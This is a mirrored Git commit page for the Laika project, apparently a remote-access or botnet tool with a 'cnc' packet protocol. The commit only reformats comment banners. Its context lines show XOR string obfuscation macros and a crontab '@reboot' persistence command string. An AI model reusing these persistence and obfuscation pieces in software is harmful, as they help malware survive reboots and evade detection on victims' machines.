mirror of
https://github.com/CPunch/Laika.git
synced 2026-02-01 06:10:03 +00:00
Minor comments refactoring
This commit is contained in:
@@ -38,7 +38,7 @@ struct sLaikaB_box {
|
||||
uint8_t code[LAIKA_VM_CODESIZE];
|
||||
};
|
||||
|
||||
/* ==============================================[[ Box Var API ]]=============================================== */
|
||||
/* ======================================[[ Box Var API ]]====================================== */
|
||||
|
||||
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
|
||||
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
|
||||
@@ -61,7 +61,7 @@ struct sLaikaB_box {
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
#endif
|
||||
|
||||
/* ==============================================[[ Laika Boxes ]]=============================================== */
|
||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||
#define LAIKA_BOX_SKID(_key) { \
|
||||
@@ -86,7 +86,7 @@ struct sLaikaB_box {
|
||||
} \
|
||||
}
|
||||
|
||||
/* ==============================================[[ Raw Box API ]]=============================================== */
|
||||
/* ======================================[[ Raw Box API ]]====================================== */
|
||||
|
||||
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
|
||||
struct sLaikaV_vm vm = {
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
/* raw obfuscated strings */
|
||||
|
||||
/* =============================================[[ Linux Strings ]]============================================== */
|
||||
/* =====================================[[ Linux Strings ]]===================================== */
|
||||
|
||||
/* we want a semi-random file lock that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our file lock :D */
|
||||
@@ -30,7 +30,7 @@
|
||||
|
||||
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
|
||||
|
||||
/* ============================================[[ Windows Strings ]]============================================= */
|
||||
/* ====================================[[ Windows Strings ]]==================================== */
|
||||
|
||||
/* we want a semi-random mutex that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our mutex :D */
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
if packet doesn't have either, it can be sent & received by both peer & cnc
|
||||
*/
|
||||
enum {
|
||||
/* ==================================================[[ Peer ]]================================================== */
|
||||
/* =========================================[[ Peer ]]========================================== */
|
||||
LAIKAPKT_VARPKT,
|
||||
/* layout of LAIKAPKT_VARPKT:
|
||||
* LAIKAPKT_SIZE pktSize;
|
||||
@@ -73,7 +73,7 @@ enum {
|
||||
* uint32_t id;
|
||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||
*/
|
||||
/* ==================================================[[ Auth ]]================================================== */
|
||||
/* =========================================[[ Auth ]]========================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
|
||||
@@ -36,7 +36,7 @@ void laikaS_freePeer(struct sLaika_peer *peer) {
|
||||
laikaM_free(peer);
|
||||
}
|
||||
|
||||
/* ===========================================[[ Start/End Packets ]]============================================ */
|
||||
/* ===================================[[ Start/End Packets ]]=================================== */
|
||||
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
@@ -157,7 +157,7 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
|
||||
peer->useSecure = flag;
|
||||
}
|
||||
|
||||
/* ===========================================[[ Handle Poll Events ]]=========================================== */
|
||||
/* ==================================[[ Handle Poll Events ]]=================================== */
|
||||
|
||||
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
#include "lmem.h"
|
||||
#include "lpolllist.h"
|
||||
|
||||
/* ===========================================[[ Helper Functions ]]============================================= */
|
||||
/* ===================================[[ Helper Functions ]]==================================== */
|
||||
|
||||
typedef struct sLaika_hashMapElem {
|
||||
SOCKET fd;
|
||||
@@ -21,7 +21,7 @@ uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
|
||||
return (uint64_t)(u->fd);
|
||||
}
|
||||
|
||||
/* ==============================================[[ PollList API ]]============================================== */
|
||||
/* =====================================[[ PollList API ]]====================================== */
|
||||
|
||||
void laikaP_initPList(struct sLaika_pollList *pList) {
|
||||
laikaS_init();
|
||||
|
||||
Reference in New Issue
Block a user